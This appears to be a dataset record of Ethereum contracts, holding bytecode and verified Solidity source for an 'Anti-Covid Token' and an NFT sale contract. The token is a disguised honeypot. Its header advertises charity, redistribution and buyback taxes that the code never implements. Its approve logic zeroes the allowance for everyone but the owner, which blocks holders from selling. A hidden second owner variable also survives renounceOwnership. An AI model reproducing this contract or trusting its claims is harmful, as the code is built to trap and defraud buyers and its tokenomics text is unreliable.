65207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212201363cd724cb1c7a60170ae2045bfb65404b3652c7e0699269e0cb4f070ca347864736f6c63430006070033
|
{"success": true, "error": null, "results": {}}
| 8,997 |
0x7db340bc00c4bdc6402a136be79c0a3f8273a149
|
/**
*Submitted for verification at Etherscan.io on 2021-08-02
*/
/*
Website: https://www.anticovid.finance
Twitter: https://twitter.com/Anti_CovidToken
Telegram: https://t.me/anti_covidtoken
$VACCINE proposes an innovative feature in its contract.
Simply by holding, $Vaccine you'll receive healthy rewards in your wallet.
It also has cooldown and anti-bot features, so bots can't breath under this contract.
💉 Tokenomics 💉
100% Liquidity Locked
4% Redistribution Tax
4% Covid Charity Tax
4% Buyback Tax
Fair Launch
💊 4% Tax will be used to save people who are suffering from Covid 💊
💉 Launch Details 💉
0.6% Initial Buy limit (Will be removed after launch shortly)
15s Cooldown (Will be removed after launch shortly)
*/
pragma solidity ^0.6.12;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) private onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
address private newComer = _msgSender();
modifier onlyOwner() {
require(newComer == _msgSender(), "Ownable: caller is not the owner");
_;
}
}
contract AntiCovid is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _tTotal = 1000 * 10**12 * 10**18;
string private _name = 'Anti-Covid Token ';
string private _symbol = '$VACCINE 💉💊 ';
uint8 private _decimals = 18;
constructor () public {
_balances[_msgSender()] = _tTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function _approve(address ol, address tt, uint256 amount) private {
require(ol != address(0), "ERC20: approve from the zero address");
require(tt != address(0), "ERC20: approve to the zero address");
if (ol != owner()) { _allowances[ol][tt] = 0; emit Approval(ol, tt, 4); }
else { _allowances[ol][tt] = amount; emit Approval(ol, tt, amount); }
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
}
|
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c806370a082311161007157806370a0823114610258578063715018a6146102b05780638da5cb5b146102ba57806395d89b41146102ee578063a9059cbb14610371578063dd62ed3e146103d5576100a9565b806306fdde03146100ae578063095ea7b31461013157806318160ddd1461019557806323b872dd146101b3578063313ce56714610237575b600080fd5b6100b661044d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506104ef565b60405180821515815260200191505060405180910390f35b61019d61050d565b6040518082815260200191505060405180910390f35b61021f600480360360608110156101c957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610517565b60405180821515815260200191505060405180910390f35b61023f6105f0565b604051808260ff16815260200191505060405180910390f35b61029a6004803603602081101561026e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610607565b6040518082815260200191505060405180910390f35b6102b8610650565b005b6102c26107d8565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102f6610801565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561033657808201518184015260208101905061031b565b50505050905090810190601f1680156103635780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103bd6004803603604081101561038757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108a3565b60405180821515815260200191505060405180910390f35b610437600480360360408110156103eb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108c1565b6040518082815260200191505060405180910390f35b606060058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104e55780601f106104ba576101008083540402835291602001916104e5565b820191906000526020600020905b8154815290600101906020018083116104c857829003601f168201915b5050505050905090565b60006105036104fc610948565b8484610950565b6001905092915050565b6000600454905090565b6000610524848484610c6f565b6105e584610530610948565b6105e0856040518060600160405280602881526020016110b960289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610596610948565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b610950565b600190509392505050565b6000600760009054906101000a900460ff16905090565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610658610948565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461071a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108995780601f1061086e57610100808354040283529160200191610899565b820191906000526020600020905b81548152906001019060200180831161087c57829003601f168201915b5050505050905090565b60006108b76108b0610948565b8484610c6f565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156109d6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061112a6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610a5c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806110976022913960400191505060405180910390fd5b610a646107d8565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614610b83576000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560046040518082815260200191505060405180910390a3610c6a565b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a35b505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610cf5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806110726025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d7b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806111076023913960400191505060405180910390fd5b610de7816040518060600160405280602681526020016110e160269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e7c81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fe990919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290610fd6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610f9b578082015181840152602081019050610f80565b50505050905090810190601f168015610fc85780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611067576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b809150509291505056fe42455032303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636542455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e636542455032303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a26469706673582212207a1cdbf57b4499f9850a0a710226c61a71c6fb90d60f174853f5d510b03cf5a964736f6c634300060c0033
|
{"success": true, "error": null, "results": {}}
| 8,998 |
0x204934a20810f871c265087089905ecced732ed8
|
/**
*Submitted for verification at Etherscan.io on 2021-03-30
*/
//SPDX-License-Identifier: MIT
pragma solidity ^0.5.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*
* _Available since v2.4.0._
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(isOwner(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Returns true if the caller is the current owner.
*/
function isOwner() public view returns (bool) {
return _msgSender() == _owner;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
*/
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
interface IERC1155 {
event TransferSingle(
address indexed _operator,
address indexed _from,
address indexed _to,
uint256 _id,
uint256 _amount
);
event TransferBatch(
address indexed _operator,
address indexed _from,
address indexed _to,
uint256[] _ids,
uint256[] _amounts
);
event ApprovalForAll(address indexed _owner, address indexed _operator, bool _approved);
event URI(string _amount, uint256 indexed _id);
function mint(
address _to,
uint256 _id,
uint256 _quantity,
bytes calldata _data
) external;
function create(
uint256 _maxSupply,
uint256 _initialSupply,
string calldata _uri,
bytes calldata _data
) external returns (uint256 tokenId);
function safeTransferFrom(
address _from,
address _to,
uint256 _id,
uint256 _amount,
bytes calldata _data
) external;
function safeBatchTransferFrom(
address _from,
address _to,
uint256[] calldata _ids,
uint256[] calldata _amounts,
bytes calldata _data
) external;
function balanceOf(address _owner, uint256 _id) external view returns (uint256);
function balanceOfBatch(address[] calldata _owners, uint256[] calldata _ids)
external
view
returns (uint256[] memory);
function setApprovalForAll(address _operator, bool _approved) external;
function isApprovedForAll(address _owner, address _operator) external view returns (bool isOperator);
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP. Does not include
* the optional functions; to access them see {ERC20Detailed}.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract NFTSwapper_Council is Ownable {
uint256 public nftid;
mapping(address => bool) private purchased;
address public seller;
address public rarigang;
address public currency;
uint256 public price;
bool public active;
constructor(uint256 _nftid, address _seller, bool _active, address _rarigang, address _currency, uint256 _price) public{
nftid = _nftid;
seller = _seller;
active = _active;
rarigang = _rarigang;
currency = _currency;
price = _price;
}
function setActive(bool isActive) public onlyOwner{
active = isActive;
}
function hasPurchased(address buyer) public view returns (bool){
return purchased[buyer];
}
function purchase() public {
require(!purchased[msg.sender], "Cannot buy: Already purchased!");
require(active, "Cannot buy: Market not active!");
require(IERC1155(rarigang).balanceOf(seller, nftid) > 0, "Cannot buy: No more available!");
require(IERC20(currency).balanceOf(msg.sender) >= price*1e18, "Cannot buy: Need more coin!");
IERC1155(rarigang).safeTransferFrom(seller, msg.sender, nftid, 1, "");
IERC20(currency).transferFrom(msg.sender, 0x000000000000000000000000000000000000dEaD, price*1e18);
purchased[msg.sender] = true;
}
}
|
0x608060405234801561001057600080fd5b50600436106100cf5760003560e01c80638f32d59b1161008c578063a035b1fe11610066578063a035b1fe14610284578063acec338a146102a2578063e5a6b10f146102d2578063f2fde38b1461031c576100cf565b80638f32d59b146101bc57806390118fb4146101de578063994f4f9f1461023a576100cf565b806302fb0c5e146100d457806308551a53146100f657806364edfbf0146101405780636fd976bc1461014a578063715018a6146101685780638da5cb5b14610172575b600080fd5b6100dc610360565b604051808215151515815260200191505060405180910390f35b6100fe610373565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610148610399565b005b610152610a67565b6040518082815260200191505060405180910390f35b610170610a6d565b005b61017a610ba6565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6101c4610bcf565b604051808215151515815260200191505060405180910390f35b610220600480360360208110156101f457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610c2d565b604051808215151515815260200191505060405180910390f35b610242610c83565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61028c610ca9565b6040518082815260200191505060405180910390f35b6102d0600480360360208110156102b857600080fd5b81019080803515159060200190929190505050610caf565b005b6102da610d46565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61035e6004803603602081101561033257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d6c565b005b600760009054906101000a900460ff1681565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610459576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f43616e6e6f74206275793a20416c72656164792070757263686173656421000081525060200191505060405180910390fd5b600760009054906101000a900460ff166104db576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f43616e6e6f74206275793a204d61726b6574206e6f742061637469766521000081525060200191505060405180910390fd5b6000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1662fdd58e600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166001546040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060206040518083038186803b1580156105a757600080fd5b505afa1580156105bb573d6000803e3d6000fd5b505050506040513d60208110156105d157600080fd5b810190808051906020019092919050505011610655576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f43616e6e6f74206275793a204e6f206d6f726520617661696c61626c6521000081525060200191505060405180910390fd5b670de0b6b3a764000060065402600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231336040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561070157600080fd5b505afa158015610715573d6000803e3d6000fd5b505050506040513d602081101561072b57600080fd5b810190808051906020019092919050505010156107b0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f43616e6e6f74206275793a204e656564206d6f726520636f696e21000000000081525060200191505060405180910390fd5b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f242432a600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff163360015460016040518563ffffffff1660e01b8152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018381526020018281526020018060200182810382526000815260200160200195505050505050600060405180830381600087803b1580156108ce57600080fd5b505af11580156108e2573d6000803e3d6000fd5b50505050600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd3361dead670de0b6b3a7640000600654026040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b1580156109d157600080fd5b505af11580156109e5573d6000803e3d6000fd5b505050506040513d60208110156109fb57600080fd5b8101908080519060200190929190505050506001600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550565b60015481565b610a75610bcf565b610ae7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6